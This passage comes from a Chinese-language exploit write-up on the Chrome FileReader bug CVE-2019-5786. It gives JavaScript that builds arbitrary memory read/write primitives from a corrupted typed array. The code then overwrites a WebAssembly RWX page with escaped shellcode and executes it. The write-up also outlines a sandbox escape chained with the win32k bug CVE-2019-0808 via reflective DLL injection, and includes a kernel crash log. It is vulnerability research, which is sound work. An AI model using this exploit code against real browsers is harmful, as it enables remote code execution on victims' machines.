(6)任意地址读写 利用相对地址读写可以读写被腐烂缓冲区的backing_store,从而达到任意地址读写的目的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 function get_corruptable_ui32a ( ) { for (let i = 0 ; i < outers; i++) { for (let j = 0 ; j + 2 < inners; j+=3 ) { let ui32a_addr = addrof(spray[i][j+2 ]) - 1 ; let bs_addr = ta_read(ui32a_addr + 12 ) - 1 ; let elements_addr = ta_read(ui32a_addr + 8 ) - 1 ; if (bs_addr >= ta_absolute_addr && bs_addr < ta_absolute_addr + string_size && elements_addr >= ta_absolute_addr && elements_addr < ta_absolute_addr + string_size) { console .log(`found corruptable Uint32Array->elements at ${bs_addr.toString(16 )} , on Uint32Array idx ${i} ${j} ` ); return { bs_addr : bs_addr, elements_addr : elements_addr, ui32 : spray[i][j+2 ], i : i, j : j } } } } } function read4 (addr ) { let tmp1 = ta_read(aarw_ui32.elements_addr + 12 ); let tmp2 = ta_read(aarw_ui32.bs_addr + 16 ); ta_write(aarw_ui32.elements_addr + 12 , addr); ta_write(aarw_ui32.bs_addr + 16 , addr); let val = aarw_ui32.ui32[0 ]; ta_write(aarw_ui32.elements_addr + 12 , tmp1); ta_write(aarw_ui32.bs_addr + 16 , tmp2); return val; } function write4 (addr, val ) { let tmp1 = ta_read(aarw_ui32.elements_addr + 12 ); let tmp2 = ta_read(aarw_ui32.bs_addr + 16 ); ta_write(aarw_ui32.elements_addr + 12 , addr); ta_write(aarw_ui32.bs_addr + 16 , addr); aarw_ui32.ui32[0 ] = val; ta_write(aarw_ui32.elements_addr + 12 , tmp1); ta_write(aarw_ui32.bs_addr + 16 , tmp2); }
(7)利用WebAssembly技术申请RWX空间,替换shellcode并执行 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 var wfunc = null ;let meterpreter = unescape ("%ue8fc%u0082%u0000%u8960%u31e5%u64c0%u508b%u8b30%u0c52%u528b%u8b14%u2872%ub70f%u264a%uff31%u3cac%u7c61%u2c02%uc120%u0dcf%uc701%uf2e2%u5752%u528b%u8b10%u3c4a%u4c8b%u7811%u48e3%ud101%u8b51%u2059%ud301%u498b%ue318%u493a%u348b%u018b%u31d6%uacff%ucfc1%u010d%u38c7%u75e0%u03f6%uf87d%u7d3b%u7524%u58e4%u588b%u0124%u66d3%u0c8b%u8b4b%u1c58%ud301%u048b%u018b%u89d0%u2444%u5b24%u615b%u5a59%uff51%u5fe0%u5a5f%u128b%u8deb%u6a5d%u8d01%ub285%u0000%u5000%u3168%u6f8b%uff87%ubbd5%ub5f0%u56a2%ua668%ubd95%uff9d%u3cd5%u7c06%u800a%ue0fb%u0575%u47bb%u7213%u6a6f%u5300%ud5ff%u6163%u636c%u652e%u6578%u4100" );function rce ( ) { function get_wasm_func ( ) { var importObject = { imports : { imported_func : arg => console .log(arg) } }; bc = [0x0 , 0x61 , 0x73 , 0x6d , 0x1 , 0x0 , 0x0 , 0x0 , 0x1 , 0x8 , 0x2 , 0x60 , 0x1 , 0x7f , 0x0 , 0x60 , 0x0 , 0x0 , 0x2 , 0x19 , 0x1 , 0x7 , 0x69 , 0x6d , 0x70 , 0x6f , 0x72 , 0x74 , 0x73 , 0xd , 0x69 , 0x6d , 0x70 , 0x6f , 0x72 , 0x74 , 0x65 , 0x64 , 0x5f , 0x66 , 0x75 , 0x6e , 0x63 , 0x0 , 0x0 , 0x3 , 0x2 , 0x1 , 0x1 , 0x7 , 0x11 , 0x1 , 0xd , 0x65 , 0x78 , 0x70 , 0x6f , 0x72 , 0x74 , 0x65 , 0x64 , 0x5f , 0x66 , 0x75 , 0x6e , 0x63 , 0x0 , 0x1 , 0xa , 0x8 , 0x1 , 0x6 , 0x0 , 0x41 , 0x2a , 0x10 , 0x0 , 0xb ]; wasm_code = new Uint8Array (bc); wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), importObject); return wasm_mod.exports.exported_func; } let wasm_func = get_wasm_func(); wfunc = wasm_func; let wasm_func_addr = addrof(wasm_func) - 1 ; let sfi = read4(wasm_func_addr + 12 ) - 1 ; let WasmExportedFunctionData = read4(sfi + 4 ) - 1 ; let instance = read4(WasmExportedFunctionData + 8 ) - 1 ; let rwx_addr = read4(instance + 0x74 ); if (meterpreter.length % 2 != 0 ) meterpreter += "\\u9090" ; for (let i = 0 ; i < meterpreter.length; i += 2 ) { write4(rwx_addr + i*2 , meterpreter.charCodeAt(i) + meterpreter.charCodeAt(i + 1 ) * 0x10000 ); } window .top.postMessage('SUCCESS' , '*' ); console .log('success' ); window .setTimeout(wfunc, 1000 ); }
blink的漏洞利用相对于v8的类型混淆来说看起来好像更复杂一些,需要的操作也要更麻烦一些,但是利用的核心思想仍然是类型混淆造成任意地址读写,并通过WebAssembly技术进行rce。
该漏洞利用程序开发的难点在于调试环境的获取,由于某些已知原因,国内的chromium源码编译环境异常难以搭建,只能通过符号服务器或者符号文件+二进制程序进行二进制层面的调试,这样就对exp的调试造成了比较大的阻碍。
(5)简述CVE-2019-0808与沙箱逃逸 本节内容参考[16],[17]
我们知道,Chrome基于多进程架构,主要包括浏览器进程和渲染进程,进程间通过IPC通信(Mojo)
其中渲染进程运行着不可信的HTML和JS代码,浏览器中的每一个tab为一个独立的进程,运行在Untrusted的低权限等级,并通过沙箱引擎隔离。因此像CVE-2019-5768这样的渲染进程中的远程代码执行漏洞仍需要结合其他高权限漏洞实现沙箱逃逸。一般来说有几种思路:1)利用浏览器进程的漏洞,比如IndexedDB,Mojo等; 2)利用操作系统内核漏洞,比如与CVE-2019-5768组合的win32k.sys内核提权漏洞CVE-2019-0808。
CVE-2019-0808是win32k.sys中的一个空指针解引用漏洞。由于代码未对返回窗口指针的类型进行检查,导致程序可以进行空指针解引用,由于win8以上的windows无法在零页分配内存,所以该漏洞的危害性相对较低,不过仍然可以配合CVE-2019-5786达到杀向逃逸的目的。
简单描述一下CVE-2019-0808的漏洞原理,xxxMNFindWindowFromPoint函数通过xxxSendMessage获取pPopupMenu,之后并未对pPopupMenu做任何校验,攻击者通过SetWinEventHook获取该事件伪造NULL指针赋值给pPopupMenu->spmenu并返回给内核,触发漏洞。
在完成了内核提权exp后,接下来需要考虑如何结合Chrome渲染进程的漏洞实现沙箱逃逸。首先可以考虑将内核提权exp以dll的形式编译,然后加载到目标进程,执行提权操作。但是由于Chrome渲染进程运行在Untrusted权限,无法直接利用漏洞获取shellcode执行权限后注入提权dll,需要考虑其他方法。
反射型dll注入就是一个比较好的方法,github中有相关项目可以直接使用[18]:
该利用链参考[19],实测发现个人机器在关闭沙箱时可以执行shellcode弹出system的cmd,但是在开启沙箱的时候会造成下述状况:
crash log如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 VIRTUAL_MACHINE: VMware BUGCHECK_CODE: 1 BUGCHECK_P1: 114d BUGCHECK_P2: 0 BUGCHECK_P3: ffff BUGCHECK_P4: 0 CUSTOMER_CRASH_COUNT: 1 PROCESS_NAME: chrome.exe STACK_TEXT: <Intermediate frames may have been skipped due to lack of complete unwind> 8ade0c34 779270b4 (T) badb0d00 8ade0b00 00000000 nt!KiServiceExit2+0x17a WARNING: Frame IP not in any known module. Following frames may be wrong. <Intermediate frames may have been skipped due to lack of complete unwind> 8ade0b34 00000000 (T) 00000000 00000000 00000000 0x779270b4 SYMBOL_NAME: nt!KiServiceExit2+17a MODULE_NAME: nt IMAGE_NAME: ntkrpamp.exe IMAGE_VERSION: 6.1.7601.17514 STACK_COMMAND: .thread ; .cxr ; kb FAILURE_BUCKET_ID: 0x1_SysCallNum_11ea_nt!KiServiceExit2+17a OS_VERSION: 7.1.7601.17514 BUILDLAB_STR: win7sp1_rtm OSPLATFORM_TYPE: x86 OSNAME: Windows 7 FAILURE_ID_HASH: {8f36ef45-2344-18c7-dc3e-a379cfe2ebc4} Followup: MachineOwner ---------
四、总结与思考 该漏洞为blink相关的逻辑漏洞,由于异步的特性导致代码逻辑出现问题,最终生成了两个指向同一内存的指针,该漏洞的质量很高,在被曝出时就被发现与CVE-2019-0808配合绕过沙箱实现RCE,是一个比较值得研究的blink漏洞。
五、参考 [1] https://developer.mozilla.org/zh-CN/docs/Web/API/FileReader
[2] https://www.chromium.org/developers/how-tos/debugging-on-windows/windbg-help
[3] https://www.chromium.org/getting-involved/download-chromium
[4] https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win_x64/612429/
[5] https://commondatastorage.googleapis.com/chromium-browser-snapshots/index.html?prefix=Win/612432/
[6] http://www.ruanyifeng.com/blog/2018/07/web-worker.html
[7] https://www.cnblogs.com/SZxiaochun/p/8017475.html
[8] https://www.cnblogs.com/yoyo-sincerely/p/8658075.html
[9] https://zhuanlan.zhihu.com/p/94588204
[10] https://www.jianshu.com/p/c2cd6c7e1976
[11] https://www.anquanke.com/post/id/194351
[12] https://www.4hou.com/posts/7OYQ
[13] https://github.com/exodusintel/CVE-2019-5786/
[14] https://programlife.net/2019/03/25/cve-2019-5786-chrome-filereader-use-after-free-vulnerability-analysis/
[15] https://blog.exodusintel.com/2019/03/20/cve-2019-5786-analysis-and-exploitation/
[16] https://www.anquanke.com/post/id/197892
[17] https://blogs.360.cn/post/RootCause_CVE-2019-0808_CH.html
[18] https://github.com/monoxgas/sRDI
[19] https://github.com/exodusintel/CVE-2019-0808